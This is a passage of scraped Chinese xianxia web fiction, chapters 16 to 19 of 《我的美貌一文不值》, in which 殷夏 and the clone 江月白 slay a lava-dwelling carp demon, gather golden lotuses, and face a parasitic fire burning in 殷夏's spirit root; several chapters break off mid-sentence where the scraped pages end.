她有沈卿缘的一缕神识,能随时找到小葵花,而在这个秘境,殷夏还要借助小葵花在完全隐匿自身气息的情形下行动,江月白既然知晓,有这个自信也是理所应当。 于是他摇摇头,转身往洞内走了两步,弯腰捡起铺在地上的薄毯,折成两折垫在身下,然后将手臂枕在脑后,仰躺在毯子上。 洞内漆黑,他没打算提前离开。 至少这一夜安稳了,他心里才能真正安稳。 由于太过无聊,于是突发奇想,硬逼着小葵花陪自己聊天。 小葵花没见着沈卿缘,空欢喜一场,现在整只傀儡都像灵力耗光似一般,垂着木头脑袋,无精打采,不想理人。 “你的城主从早到晚都忙得很,奏折小山一样高。”他故意用了很夸张的语气来逗它,“她哪里有空来找你。” “仙子,你实在是太可恶了!” 小葵花一扭身,背面对着他,双手捂着耳朵,不想听殷夏说话。 先前忙着逃命没什么想法,如今夜深人静时分,殷夏此刻又听到了“仙子”这个称呼,忽然感觉甚是别扭。 他沉吟片刻,道:“我现在不穿女装了,换个称呼吧。” 小葵花耳朵捂得更紧,假装自己没听到。 殷夏又慢慢重复了一遍。 这是相当于下指令了。 小葵花原地下蹲,小小的背影竟看出了些凄楚的意味。 它哼哼唧唧道:“我只是个傀儡娃娃罢了。仙子说换成什么,我就改成什么。” 殷夏失笑,自己大半夜的不修炼也不休息,跟一个木头娃娃较什么劲。 他松口道:“还按最开始的叫法吧。” 小葵花闻言,放开捂着两只耳朵的胖爪子,试探地喊了他一声:“那我还叫您主人?” 殷夏淡淡道:“嗯。” 他闭目养神,脑中却仍旧思绪繁杂。 · 一夜过去,天色大亮。 殷夏被穿进岩洞的刺目光线唤醒。他起身,收起昨夜垫着的薄毯,又检查了下符箓与禁制的现下情况。 除了江月白之外,并无他人出入。 山洞上的符箓没有被触动的痕迹,与殷夏预想的差不多,那支恨不得将他抽筋拆骨的小队并没有追上来。 实际情况是,由于幻鳞砂撒出的剂量太大,这支小队甚至都没能追到一半的路程,就发现灵力不支,且无法恢复与补充,只得悻悻作罢,离开秘境。 只要能撑住回到宗门,就有修为高深的长老与作为客卿的医修团团围上为他们探查解毒,并不会有大碍。 只是他们此次秘境之行,只能到此为止了。 一道弧光在头顶闪耀了一瞬,殷夏扭头,昨夜所见的那位身着月白色长裙的女子又出现在他眼前,她旋身落地之间,层层叠叠的裙摆仿佛莲花一样绽放开来,清丽又淡雅。 他眨了眨眼睛,又摁了几下脑袋,眼前女子的身影仍一动不动。 原来不是幻觉。 江月白周身萦绕着湿润的水汽,发梢的水滴落下,渐渐湮湿了一小片衣领,她全身还笼罩着御风之后尚未散去的灵光。 显然才到不久。 见殷夏醒了,她侧身看来,眼角眉梢浅浅地勾出一丝笑意。 微风拂过,扬起她的衣袂,卷起淡淡熏香气味。 闻起来是温甜的木香,醇厚的香气飘散后,还余下丝丝玫瑰花的清甜味。 这种木香与花香的结合,有点似曾相识的感觉。 明明他们是第一次见面,无论是香料气息,还是她整个人悠然冷淡的气质,举手投足之间的动作,都让他觉得分外熟悉。 他忍不住开口问道:“你究竟是谁?” 江月白轻声道:“无需多心,你此次强闯元婴秘境,与我同行,对你有利。” 他还是追问了一句:“你为什么要与我同行,这对你而言毫无意义。” 江月白清亮的眼神看过来,其中毫无情绪的起伏,只淡淡道:“我与沈卿缘达成了一笔交易,而我在履行承诺。” 沈卿缘赋予她血肉之躯,虽然自己只是一具分身,却能够独自行走于天地之间,以此换得她帮沈卿缘完成所有的愿望。 各得所愿,也算是交易的一种。 殷夏微微皱眉,却不得不承认她说的有道理。 他也不再推辞。 “现在出发吗?” “可以。” 沈卿缘言简意赅。 殷夏抬手召来小葵花,眨眼间便变成一只轻飘飘树叶的模样,插在小葵花的脑后。 小葵花一掌震碎洞口的巨大石块,满地碎屑中,它双脚蹬地,猛的发力,往对面的山峰越去,动作迅急如风。 江月白则掐诀御风,身形轻盈,衣袂翩跹,不远不近地缀在后面。 她掐的很准,刚好是一个远了会跟不上,近了又容易碰上的距离。 小葵花在悬崖峭壁上宛如羚羊攀岩一般,敏捷而富有力量,且如履平地。殷夏勉强抓住它脑袋上四处飞舞的头发丝,像一只被棉线牵引着上上下下的风筝,反而觉得艰辛太多。 耳边是江月白如冰如玉的声音。 她使了传音术,问殷夏此行何处。 殷夏告诉她,根据地图显示,这附近有一处岩浆池,他此行就是为了岩浆池中偶然生长出的金盏莲。 虽然遇到的概率很低,但修仙之人,总不能坐以待毙。 江月白问完便不出声了。 两人一傀儡娃娃很快到达了岩浆池所在地。 大片黑中泛红的暗色山体,最中间是一片殷红色泽的岩浆池。鲜红色的岩浆随着崎岖不平的黝黑山道往远处流出,像是一颗巨大的心脏以及延伸出的无数暗红色血管。四周温度极高,火山灰弥漫开来,宛如灰色飞虫,不规则漂浮在空中,以极慢的速度缓缓移动。 殷夏远远眺望过去,已经觉得热到难以呼吸。 两人降低速度逐渐靠近,最后停在一块火山石上,隔了一段距离。 远远看去,只见池中的每一滴岩浆都处于沸腾的状态,不断往外翻着大大小小的气泡。灼热的气息炙烤着周围的一切,目之所及,寸草不生。 离岩浆池太近,殷夏觉得难以呼吸。 他转头看向江月白。 江月白跟着小葵花的动作,一并停在了原地,她月白色的轻盈裙裾飘飘扬扬,优雅至极,从头到脚却一丝汗意也无,神色淡然。 这果然是一处只有修炼到元婴后期才有能力靠近的地方。 来岩浆池的这一路上,沿途中一开始还能察觉到不少修士的行踪,但越是靠近岩浆池的地方,越是觉得人迹罕至,行踪渺渺。 大概很多元婴初级与中期的修士都在所 16. 第 16 章 《我的美貌一文不值》全本免费阅读 此处山脉不高,却绵延纵横。 滚滚的浓烟从远处飘起,又在灰蒙蒙的天际和山脉之间舒卷起伏。 目之所至,寸草不生。黑中泛灰的火山岩一望无垠,金红色的熔岩温度极高,厚厚一层焦黑的火山灰覆盖在浓稠的岩浆之上蛇行一般沿着嶙峋山脊的间隙缓缓流动。 江月白毫无惧色,淡定地往掠过无数蜿蜒而过的岩浆,目标明确,直往冒着滚滚黑烟的岩浆池方向冲去。 殷夏被她拢在手心,眼前一片黑暗。随后先是感觉到一阵令人头晕目眩的急剧加速,却又猛然刹住。 他尚在云里雾里,江月白身上的淡蓝色防御罩子已以极快的频率闪烁起明明灭灭的微光。 这次,两人才真正到达了岩浆池的边上。 江月白牵出一丝本源灵力融入光罩之中,给身上濒临崩溃的防护罩进行了二次加固,而后随她心念一动,又化出一只新的冰蓝色罩子,将手中的小叶子严严实实地保护起来,才将他轻柔抛出。 这片边缘焦黑的树叶裹在一层圆圆的透明罩子里,像是被固定在一汪澄澈的湖水里,由于被抛到空中,他先是被托着缓缓上升了些,随后悠悠自空中降落。 落地的瞬间,他便飞快从焦黑的叶片化为一个面貌普通的男子。 这便是被沈卿缘封印了容貌的殷夏。 他双脚落在硬邦邦的岩石上,身形陡然变高让他不适应地踉跄了两步。 稍微定神后,他向四周望去,却见天地间寸草不生,到处都是迸裂的灼热岩浆,金红色的岩浆与漆黑的火山岩交映成浓墨重彩的黑红金三色,既壮观又荒凉。 此处酷热无比,寻常事物落在此地的瞬间,便会被烧成一捧焦土,再不见踪影。 除了他们两人之外,再无其他。 殷夏艰难地呼吸着灼热的空气,注意到环绕在周身,并随自己一同变大的防御罩。 他忍不住上手摸了两下。 冰蓝色的质地,触感也有些冰冰凉凉的,没有想象中那么的坚硬,反而有些弹软,像初冬时节落下的新雪。 距离岩浆池所在太近,防御罩上的冰蓝色灵气也比他上回所见更为浓厚,想来是为了适应此处恶劣环境。 戳完罩子,他心满意足地缩回手。正将自己的神识放出去准备探查一二,却被一股无形的力量野蛮地击退了回来。 殷夏揉着眉心,喃喃道:“我的神识好像被什么压制住了,探不出去。” 头顶上灰云聚集成堆,乌压压的一片,遮天蔽日。 江月白悬空而立,面色有些严肃:“此处有妖兽气息。元婴期妖兽精神力强横,你别随意放出神识,小心受伤。” 殷夏悄悄往后退了几步,悄悄瞄了一眼江月白。 江月白踏风而行,不退反进。 随着距离的靠近,她确认到:“此处的元婴妖兽释放威压,是为了恐吓所有想要侵入它领地的修士。” 殷夏清了清嗓子,疑惑探头道:“他的……领地?” 江月白:“就是这片岩浆池。它长期生活在这,又鲜少有大妖与它抢占地盘,就占着这块池子自立为王了。” 她将背在身后的古琴揽在怀中,光滑的琴身寒气肆意流泻而出,随着她的抚摸发出兴奋的嗡鸣。 江月白伸手在琴上轻拨几声,只见琴身上寒气更为浓厚,流水一般的清音霎那间离弦而去,化作锋利的碧色音波,瞬间划开看似平静的岩浆池面。 平静的血色池面开始动荡,不断扬起出越来越多的水波。不多时,无往不利的却好似碰到了一堵坚硬的事物。 江月白抬手,又是铮铮几声弦音,连续攻击之下,将池面炸出一朵朵血红浪花。 水下荡开震耳欲聋的妖兽鸣音,一只赤红的的异形锦鲤轻摆鱼尾,伴着岩浆化作的血幕缓缓升起,在空中延展汇聚,最终在半空中化为一个红宝石般的巨型气泡,那只赤红鲤鱼妖被环在其中。 浓稠岩浆顺着光滑的鱼鳞,滴滴答答地落入他周身赤红色的气泡中,气泡中弥漫着云雾般厚厚的水汽。 殷夏看了看他与江月白身上的冰蓝色防护罩,又对比了下锦鲤妖身上裹着的那层红宝石气泡,满脸的难以置信。 “它身上的防御罩,看起来比我们身上的还要硬!” “那不是防御罩,是用来储水的。”她偏了偏脑袋,扫了殷夏一眼,“你见过哪只鱼能离水而活的?” 虽然江月白神色清冷,面上古井无波,但殷夏确定在刚才的一瞬间,她笑了一下。 停顿片刻后,她又道:“为了攻击高空的敌人,这种妖物演化出了暂时离水存活的天赋神通。” 她素手轻扬,无数弦音从她指上飞出,节奏比方才快了一倍不止,杀气横溢的音符在离弦之时,瞬间变为寒光熠熠的锋利飞刃,齐齐对准了那只红光闪烁的气泡。 气泡看着唬人,但确实如江月白所说,只能帮助鲤鱼妖飞离岩浆,并无多少防御力,飞刃所到之处,皆被斩至粉碎。 那只鲤鱼妖喉间传来咕噜几声,全身泛红,它扁扁的眼珠子转了一圈,便认定了方向,朝着江月白所在的位置一脑袋撞过去。 殷夏避开一人一妖争斗时溅起的岩浆,找了处远远的位置观战。 他伸手在袖中摸了半天,终于从袖中找到了一本连封面都掉了的不知名古籍,哗啦啦地翻到书的后半部分,点了点其中一处的文字上。 “我找到了,状似鲤鱼的妖兽,性情暴躁,能乘御气泡离水并攻击,喜食金盏莲朝露……弱点在,在它的头部!” 江月白闻言微微颔首,随即并指一挥,快速调转了飞刃的攻击方向。 此妖以金盏莲的朝露为生,必定生活在金盏莲附近。也就是说,这附近至少有一株金盏莲。 她让殷夏管好自己,别被战局波及,然后“唰啦”一声,从琴身中拔出一把长剑。 长剑出鞘的瞬间,剑身反射出来的雪亮寒芒划破天际,也在鲤鱼妖的闪亮鳞片上倒映出一道剪影。 鲤鱼妖虽然个头很大,动作却不灵活。面对直逼而来的雪亮剑锋,张开巨口,露出锯齿状的森森獠牙,意图将剑身一口咬断。 江月白握住剑柄的手转握为提,由横到竖摁着剑柄,从交错的利齿之间狠狠插入,将修长剑身猛地摁进鲤鱼妖的脑袋里。 然后双手交握,往剑中注入灵气。 汹涌的灵气从剑柄汇入至整个剑身,狂风大作,剑身上爆发出耀眼的光芒,瞬间暴涨数十丈长。 剑是以倾斜的角度插进脑袋里的,又从另一侧脱身而出。鲤鱼妖不甘丧命于此,顶着脑袋上的大洞,拼命甩尾扭动身体,企图逃脱。 但江月白毫不留情。 她纤细而锋利的长剑从破开之处贯穿整只鱼头,转瞬间便从另一边急射而出,震颤着扎进岩石之中。耀眼的寒光闪过一瞬,随后巨大的鱼头滚落在地,腥臭的血液喷洒得满地都是。 此地烈日炎炎,流金铄石。鱼类特有的腥臭味被扩大了无数倍。 殷夏掩着鼻子,还未来得及上前,视线中忽然划过一道水泡特有的斑斓弧光。 他大喊一声:“小心。” 随后像兔子一样跑得没影了。 江月白一直留意着殷夏这边的动向,反应迅速,一个旋身便从岩石上拔出已恢复至正常长度的宝剑,反手扎入弧光所在的位置。 那处发出锐器擦碰金属的铿锵声、以及扎入皮肉的沉闷声响。 江月白转身,看见一物轰然掉入岩浆,浮萍一般无处不在的火山灰簇拥着这具尸体,片刻又缓缓从池底浮了上来, 她飞至半空,用剑尖将此其挑起。 她点点头,这是另外一只体型较小的鲤鱼妖,可惜本事比上一只妖怪差远了,在自己的一剑之下就已殒命。 而后像是意识到什么,她身形一闪,银光错落间,手中 17. 第 17 章 《我的美貌一文不值》全本免费阅读 江月白凝眸望去,灰色花苞先前裹得严严实实,如今尖端向外微翘,已是含苞欲放的的状态。 殷夏也凑近了些,用手丈量比划了下,惊奇道:“花苞变圆了,连根茎也明显长了一截,没想到这么短的时间内就能变化这么大啊。” 看来传闻是真的,金盏莲的生长速度确实很快。 不过双方心知肚明,相对应的,它凋零的速度更快。 甚至可以说,金盏莲存世稀少,包括以下几层的原因: 一是它所处的极端暴烈环境; 二是身旁环伺着元婴级别的伴生妖兽; 三是若非全盛形态下摘取会影响药效; 四是摘取后灵气易失难以保存。 一与二他们都已经见识到了。 都说金盏莲由盛至衰不过瞬息之间。 至于灵气逸散与如何保存,殷夏眺望远方,垂眸不语。 生长着金盏莲的岩浆池边,缓缓浮动着沉沉的浓雾。这并非普通阻挡视线的雾气,而是灰绿色的毒雾。 是由漂浮的火山灰与岸边因妖兽之血腐蚀而生的毒气相互混合,不但颜色诡异,气味也难以言喻。 江月白一手掩鼻,脚尖点地,飞快退至十几步开外,掌中灵力涌动,在原先的冰蓝色防御罩内又加了层抵挡毒气侵染的屏障。 同时不忘眼疾手快地将殷夏拽到自己身边。 她回想着先前的情形,仰起头仔仔细细地将他瞧了瞧,判断道:“你大概已经吸到了些毒气,为了不让毒素扩散,你先别运转灵力,。” 殷夏小声道:“我没事的,方才察觉异常的时候,就已经找到相应的解毒丸服下了。” 江月白将信将疑:“伸手给我。” 他大大方方地伸出手腕,掌心朝上。 江月白也没客气,先将他摁在岩石上坐下,然后扣住他的手腕,并引导着自身的一丝灵气在他体内游走了一圈。 经脉中穿梭的灵气四处流转,些微的凉意勾起一阵酥酥麻麻的痒。 殷夏下意识地缩了缩手腕,仰头看着江月白。 江月白不明所以地看过来。 他只得无奈地笑笑:“你这样给我号脉,就像医馆里坐着的医修一样,一丝不苟,严肃得很。不过……” 江月白:“?” 殷夏:“不过你的动作可比正经医修粗暴太多了。” 眼前普普通通的一张脸,因着他眉眼弯弯的笑意,像是暗夜里闪烁的星辰,忽然让人眼前一亮。 她的医术与沈卿缘可是一脉相承,那沈卿缘岂不也是他口中的粗暴女修。 半晌,她收回悬在殷夏腕上的指尖,微微点头道:“虽然有些许毒素残留,但还算靠谱,没用错丹药,等到药力完全起效,就能将毒素全部清除了。” 在说话的片刻之间,借着宽大袖袍的遮挡,她面上如清风朗月,手下却不留痕迹地撤回了另外一根去往丹田的灵力丝线。 方才她顺势探查了下殷夏的灵根。 关于殷夏的消息,在她于闭关石室内诞生之初,沈卿缘已将所有与他相关的碎片信息全都共享给她了。 快速过目后,江月白做了个简单的总结: 殷夏,底层散修,由于拥有一张长得过于美貌的脸,多年以来被各路追求者穷追猛打,不是字面意思,是真的下黑手那种,从此以后,他对炉鼎、小妞、美人、包你吃香喝辣等等词汇敬谢不敏。 另外最重要的一点,修仙太耗资源了,脚下所走的每一步,踩的若非灵石,就是别人的尸首。 虽然他非常勤奋地接委托、接悬赏、下秘境,但无一例外,全是非常稳妥的类型,报酬自然也……非常稳妥。 是个非常惜命的家伙。 所以他很穷,非常非常的穷。 江月白没想到自己被创造出来,拥有意识后被赋予的第一个任务就是去炽恒秘境。 被沈卿缘的传送阵扔进小树林后,她气得两眼一黑。 但生气归生气,她一边马不停蹄地赶路,一边执着地向沈卿缘传信。 “让我去元婴秘境找金盏莲,没问题。让我找他,也没问题。” 她喘了口气,对着传音石语速飞快,终于问出了一直想问的话:“但为什么还要我一路都保护他?” 远在城主府的沈卿缘一手撑着下巴,一手握着公文,正伏在宽大的书案上。 案边的传音石亮了一瞬,她伸手点了点,江月白清晰微冷的声音立刻从石头里传了出来。 逐字听完后,沈卿缘拔下斜斜别在发髻上的金簪,凝视了片刻,对着传音石简短回复道:“因为他才金丹期。” 传音石内再次传出的声音显而易见地暴躁起来。 江月白:“金丹期闯什么元婴秘境,找死吗?” 真实一语中的,毫不留情。 沈卿缘语气淡淡:“是啊。” 江月白:“金盏莲你头上不就有一朵?你不是喜欢他吗?送出去啊。” “不过好奇罢了,我并不想沾染他人因果。他要续上仙途,得自己去取。” 江月白默然半晌,憋出三个字:“奸商。” 沈卿缘捏着手中的传音石,闻言舒展了眉眼:“谢谢夸奖啊。关于前因后果,你都知道的嘛,他帮我赚了一大笔钱,但是之后用了一堆的灵石进阶,还弄坏了我的簪子,反而欠债更多了。” 她唏嘘道:“目前我应该是他最大的债主了。” 江月白飞快地再次传音过去,戏谑道:“总是算计来算计去的,若他折在里面,那你这回岂不是赔本了。” 沈卿缘脸上挂着道标准的微笑:“不会,你都去了,我还怕什么?留得青山在,不怕没柴烧。” 发完这最后一句话,她微笑着掐灭了传音。 江月白发现自己的传音发不出去,也不急着赶路了。她御着风悬停在空中,用手指用力戳了好几下传音石,还晃了晃,这破石头却一点反应也没有。 “哼,坏女人。” · 在这个灵气枯竭的末法时代,她的本体——沈卿缘城主大人,是一个涉猎广博,爱好广泛,处于修仙界内顶尖位阶的女修。 虽然她以擅长炼器炼丹而出名,但众人并不知晓其实她还算半个医修。 正是因为懂得不少医理,所以沈卿缘才能和同为医修的乔睿聊到一起,成为知己。江月白作为她的分身,虽然不比本体,但也能略知一二。 沈卿缘有的是修炼所需的资源与无比漫长的时间。 自殷夏机缘巧合一头撞进了城主府,一切情报就陆陆续续地传回了沈卿缘的手里,她每天周旋于各种公务,实在无聊。难得遇见主动撞上门的,于是特意为他设了一场有意思的赌局。 让他赢得一些资源,继续往高处再走远一些。 只是不知道殷夏身在局中,耗尽了沈卿缘的全部好奇与期待之后,得知一切会是什么反应。 他又对沈卿缘了解多少? 大概没有多少。 沈卿缘只是一根看起来能救命的稻草。 以沈卿缘满脑子的算计与揣度,不知被她称作的好奇,还能在殷夏身上维持多久。 方才江月白借着探查中毒的名义给殷夏号脉,其实也是为了确认到目前为止,他被异火吞噬的灵根到底损伤到了何种程度。 直到操控的那条灵气丝线神不知鬼不觉地到达灵根所在的那方天地时,江月白终于直观地看到了沈卿缘所言的异火吞噬之景。 木灵根属性温和,灵活多变,修炼 18. 第 18 章 《我的美貌一文不值》全本免费阅读 红日当空。 整片岩浆池宛如一只熔炉,其中不断冒出的红色烟尘往四周翻涌蒸腾,将池边焦黑的火山岩烤得滚烫。 殷夏被晒的通体发热,呼吸困难。 原地一动不动了太久,时间仿佛拉长,只觉得连这方天地都快被偌大的岩浆池给熔掉了,热意变得实在难以忍受。 他长长地呼出一口气,从长袖中摸出一只惯用的秃头毛笔,捏着细长的笔杆将头发盘成个常用发髻,又在怀里摸出一块帕子,往汗水涔涔的脸上重重地抹了两下,手帕瞬间被氤湿了大半。 他皱了皱眉,立刻施了个除尘诀。 灵识探入储物镯中,跳过乱七八糟的抽屉与储物格,在角落的箱子里找到了一沓冰属性符箓。抽出几张,掐着法诀,几块泛着飕飕冷气的透明冰砖凭空掉落下来,在红色岩石上发出清脆的碰撞声。 掉落在地的不规则冰砖被一层层摞高。 他转念一想,冰砖寒气绕缭,直接坐上去又太冷了些。 于是取出法器木灵鞭,长长的鞭子凌空一甩,灵活地卷成扁扁的圆盘形状,正合适隔绝冷气。 还好木灵鞭只是低阶法器,若是真的生出器灵,可能会被不走寻常路的主人给气晕。 殷夏准备妥当,一屁股坐在木灵鞭圆盘上,酷热的炎气顿时被隔绝在凉爽寒气之外。他又解下腰间水壶喝了几口,发出了一声满足又惬意的叹息。 眼前是一层层蜕变的金色莲花,远处是绕着岩浆池由近及远,再由远及近的江月白身影。 在他百无聊赖地数到第十七片花瓣的时候,抬眼又看到江月白逐渐飞往自己的方向——她又绕着岩浆池飞完了一圈。 加上之前的两圈,一共三圈了。 其实,江月白并不是像殷夏以为的那般随心所欲地乱逛。 她御风是为了最大程度放出所有感知,笼罩住整个岩浆池面,以探查每一丝灵气波动的痕迹,同时也在以目力找寻金盏莲的踪迹。 绕第一圈时,她寻遍了池边所有的火山石岩缝,第二圈则着重搜寻池内凸起的礁石以及水中的萌芽。 有的是小巧的芽尖,有的是含苞待放的花朵,还有的是一团闭得紧紧的灰色花苞。 一路收获颇丰。 殷夏望着江月白旋身落在自己身侧,一挥袖袍,“碧心”古琴化作一道流光飞出,在空中绕了半圈后飞回她的怀里。 殷夏支着脑袋,此时才发现流光横溢的琴身之上,刻着的“碧心”二字闪着微光。 这么厉害的琴,连取的名字都很好听。 不像他的鞭子,木灵鞭三个字一听就实用的很,也没有想到需要给它取名。 随着江月白莹白如玉的漂亮指尖拂过琴面,碧心琴上悠然扬起一阵泠泠清音。曲调离弦后瞬间化为透明的碧色音刃,整齐地排成一行,蓄势待发,直直地指向岩浆池的方向。 殷夏看着那把看着就很厉害的古琴,又看了眼被自己坐在身下的木灵鞭,有些惭愧地意识到木灵鞭在自己这的待遇有些差。 他偷偷地将长袍的衣角又往外拨开了一些,试图藏住屁股下的圆盘物体。 可惜太迟,江月白早就看到了被他盘成一团的木灵鞭。 她压住了快要翘起的嘴角,并且决定在出了秘境之后,一定要将这一幕仔细讲给沈卿缘听。 殷夏看着江月白不言不语盯着前方,嘴角绷得紧紧的,还以为她没找到金盏莲,心情不佳。 正准备说些话调节一下气氛,却见江月白抬了抬下巴,提醒他:“你守了半天的金盏莲已经开到第二十瓣了,不摘吗?” 殷夏“啊”的一声,随即像炸了毛的猫咪一样瞬间从冰凳上跳了起来。 他反手抓住垫在屁股下的盘状木灵鞭,握住鞭柄单手抖开,鞭子立刻恢复成原本柔韧的长条状,然后三两步冲到了滚烫的岩浆池边。 火克木,木灵鞭品级又低,可能扛不住岩浆池的热度。 江月白手指一动,又渡了些灵气过去。 原本在殷夏身上所设下的淡蓝色防御灵罩外微光一闪,无声而温柔地将他手中的低阶法器木灵鞭一并容纳在内。 鞭类法器素来灵活,又与殷夏的属性相合,用起来简直如臂使指。 只见他扬起胳膊一鞭挥去,鞭尾一触及到根茎便立刻收紧绞断,等到鞭身收回的时候,又变成了眼熟的圆盘状。 素日只出现在传闻中的金盏莲,就这样被殷夏牢牢地握在了手中,握紧的瞬间,他的手甚至有些颤抖。 极盛的红日在他的眼睫打下了一道浓重的侧影,江月白没能看见他瞬间弥漫了水汽的眼眶。 也只是瞬间,他立刻眨了眨眼睛,又恢复成先前的模样。 金色的花瓣因轻巧薄润而显得几近透明,像是莲花形状的杯盏。娇妍的花瓣映衬着肆意流动的万千霞光,最终凝成花瓣上那抹纯正且辉煌的金色。 澎湃的草木清灵之气在盛开之后毫不收敛地往外翻涌,糅合着沁人心脾的的莲花幽香,几近惑人心神。 短短几秒间,鼻端的香气愈加浓郁,花瓣上的灵气逐渐往外散开。 殷夏翻转另一只手腕,掌上托着的赫然是银盘草与银蝶粉。 受损灵根所需的三味药材,此刻终于在他的手中一并集齐。 殷夏心中已有判断。 若将金盏莲带回,途中定会灵气逸散并损失药效,而且花瓣上澎湃的清气过于惹眼,极易引来大量眼红的元婴修士,因此想要将三味药材一并带去医馆再炼成丹药肯定来不及。 想到这里,他引出金丹丹火,不甚熟练地将手中药材抛至空中,经过数次淬炼后,灵药上浮出一些无用杂质,被他剔除在外。 即使处理动作如此之快,金盏莲的药效也已损失约十分之一。 殷夏闭了闭眼,将混合成一团不辨颜色的草药一并塞入口中,苦涩的味道瞬间沁满了口腔,他眼中一涩,差点吐出来。 这就是不好好炼成丹药的副作用之一。 江月白在旁边看着他直接将草药团扔进嘴里,眉头皱得老高。 这哪叫炼丹? 这叫牛嚼牡丹。 殷夏看到江月白欲言又止,他摆摆手,好不容易就着水将一团苦涩至极的药草咽下去,才投去一个疑问的眼神。 江月白开口说道:“其实我也会金盏莲的祭炼之法。” 殷夏不太意外地点点头。 江月白倒是对他的不太意外感到很意外:“你知道我会?” 殷夏:“城主会这个,她信任你,让你来取,应该会教给你相应保存金盏莲的方法。” 江月白:“那你怎么……” 她犹豫了半天,才艰难描述道:“怎么还直接把金盏莲给生啃了?” 殷夏耸耸肩,坦诚道:“我怕自己有命进,没命出。走出此地后没准就被一群元婴杀人夺宝了。” 江月白抱着肩无所谓道:“……你可真是,我说了会保护你。” 殷夏笑了一下,江月白是沈卿缘的朋友,只是受托而来,于情于理,他也不应该过于僭越。 于是委婉地回避了这个问题,只道:“主要我的灵根也快撑不住了。” 江月白摇摇头:“也不知你生啃后残存药效如何。” 她偏着头与殷夏讲着话,手中音刃却像是算好了时间疾射而出。 每一柄音刃飞出,都有一支全盛的金盏莲旋转着飞回那截月白色长袖之中。 殷夏扫了眼,二十片花瓣,卡着片数似的,不多也不少。 每朵莲花的花托下都拖着一段翠色的柄,是用来制作簪柄的重要部分,岩浆以上的部分不是很长,因此只有潜入岩浆之下才能取到长度足够的花柄。 殷夏观察到那些飞出的音刃到水中之后再无声息,应是被过高温度的岩浆熔掉了。 他想,若是外来的生物落入岩浆中,大概也会这样无声无息地化入岩浆之中。 此处一眼望去宛如人间炼狱,以路过此地修士陨落的可能性来看,此情此景,名副其实。 * 每一支金盏莲飞回的瞬间,便被江月白施法封印。 金盏莲的灵力几乎没 19. 第 19 章 《我的美貌一文不值》全本免费阅读 江月白背靠沈卿缘这座大树,对其他修士储物袋都提不起兴趣,不过自从看到殷夏施展术法后,被勾起了些许好奇。 此法术可收敛施术者的气息,隐蔽性极强。 殷夏表示,若他在秘境中被追杀悬赏和结仇,完全可以凭此术逃之夭夭。出了秘境,各奔东西。谁也不会知道他从秘境获得了什么。 有时候,即使用的只是一些小手段,没准也能在看不到的微小缝隙之间,寻得一线生机。 不过这个术法的缺点也很致命,化身为叶后无法自行移动。 殷夏以金丹期的低微境界,敢来炽恒秘境之中,一个是家族传承的隐蔽气息的小法术,另一个就是仗着小葵花皮糙肉厚、移动速度一流,关键时候可立即逃命。 此术法另一个特点在于可跨阶使用,好比殷夏当前修为是金丹期,但他施展后,即使是元婴大圆满也无法发现他的踪迹。 在秘境中没有遇到江月白前,殷夏就凭着此术法隐匿行踪,再让小葵花带上自己逃命。 有些鸡肋,但在合适的情形却有奇效。 江月白明白了。 难怪当初刚进秘境的时候,虽然自己凭借与沈卿缘同源的一缕神念找到了被刻上神魂烙印的小葵花,但却没有感应到殷夏的气息。 若不是循着与小葵花的联系,她还不一定能找到他们。 殷夏想起当时的情形,问她:“还记得你当时帮我去除神魂刻印的一只宝盒吗?” 江月白点点头:“你胆子很大,让我印象深刻。” 殷夏:“其实我也害怕。那时我刚夺得宝盒不久,小葵花带着我找到了一个山洞。我们躲在山洞里,还贴了好几张高级隐匿符。之后确认你是城主朋友,我才敢解除术法,恢复成原本样子。” “这个奇异的术法源于何处?” “家族传承。” 殷夏垂下眼睫,似是想起了一些不那么愉快的回忆,面露为难。 江月白轻轻摆手:“若是涉及到家族密辛就算了。” 殷夏笑了一下:“在我心里,已经你当做好兄弟了,这种不算秘密的事情有什么不能说的,不过说来话长,有些啰嗦,等我们出了秘境再说。” 江月白对兄弟二字表示不理解。 殷夏抖了抖手上的金镯:“我收了你给的储物袋,想送你点什么,但看你又对灵器灵石之类的不感兴趣。一路走来,我们也是共患难的交情了,不如结为兄弟,你看如何?” 江月白回想了下,只有与沈卿缘的关系可作为参考。 满脸认真道:“我只有姐妹,没有兄弟!” 殷夏想了想,自己连女装都穿过,姐妹二字认下也无妨,于是爽快道:“没事我可以委屈一下,你的姐妹,算我一个。” “??” 自从他的容貌被封印,原本躲躲藏藏的性格反而往另一个方向狂奔而去,倒让人有些难以招架。 * 江月白全速御风而行,快要到达秘境入口之时,却忽然感觉到手心像握了一块烧红烙铁,烫地吓人。 她心知在此处停落下来不太安全,但思及方才异状,犹豫片刻,还是找了处相对僻静的所在停下。 两人所停之处是一片枯败的树林。 林中幽谧,树木上挂着零星的叶片,脚下树叶厚如绒毯。枯败的金黄叶片踩在脚下,发出清脆的断裂声。 她翻转手腕,托起殷夏至眼前,面露困惑:“你怎么了?” 殷夏在昏迷中好像听见了江月白的声音。 他拼尽全力睁开了眼睛,却感觉好累,抬不动眼皮。 异火越烧越旺,就像把他架在火上翻转炙烤,他的意识迷茫,越来越迷糊。 江月白心道不妙。 她在指尖凝出一丝灵力,再次探入殷夏灵根已是轻车熟路。 发现异火虽然还未生出灵智,却已有了趋利避害的本能。 它眼见再也无法啃食此处灵根,竟残忍又狡猾地想出烧死寄主后逃之夭夭的办法。 江月白将殷夏放在树下,让他倚着树干坐好,又从他的随身水壶中倒出些水沾湿手帕,覆在他汗湿的额头上。 潮湿的帕子瞬间干透了。 江月白心道糟糕。 她也没想到殷夏费尽千辛万苦找到的灵药,竟然会变成催命符。 灼热气息在殷夏体内翻腾不休,无边无际的燥热又带来难以抑制的干渴,仿佛全身的水份都在流失,化为干燥的流沙,成为荒漠。 而他意识消散,难以抵抗。 江月白权衡片刻,闭眼掐诀。 身后的碧心古琴上灵光闪烁,像是回应着她的召唤,稳稳当当地悬在空中。 江月白将树下的殷夏捞起,踩在琴上飞驰而出。 快速通过入口的阵法光圈后,她立即施展来缩地成寸之术,同时传音给沈卿缘,声称他们遇上了个大麻烦,让她尽快过来帮忙。 沈卿缘来的比她预料的还要快得多。 虽然出自同源,此时还是觉得大乘期的修士恐怖如斯。 沈卿缘一身飘逸的白裙纱衣一如往昔,鬓边簪着支珍珠镶嵌的发钗。但她脸色苍白,纵使气息平稳,仍看出气血不足。 先前沈卿缘施展分身之术耗费了不少精血,如今又匆匆赶来,一眼看去像个养在深闺,走两步便体力不支的娇弱大小姐。 不知道为何,看到她的瞬间,江月白就松了一口气。 就好像天大的事情,到了沈卿缘的面前,也不过小事一桩。 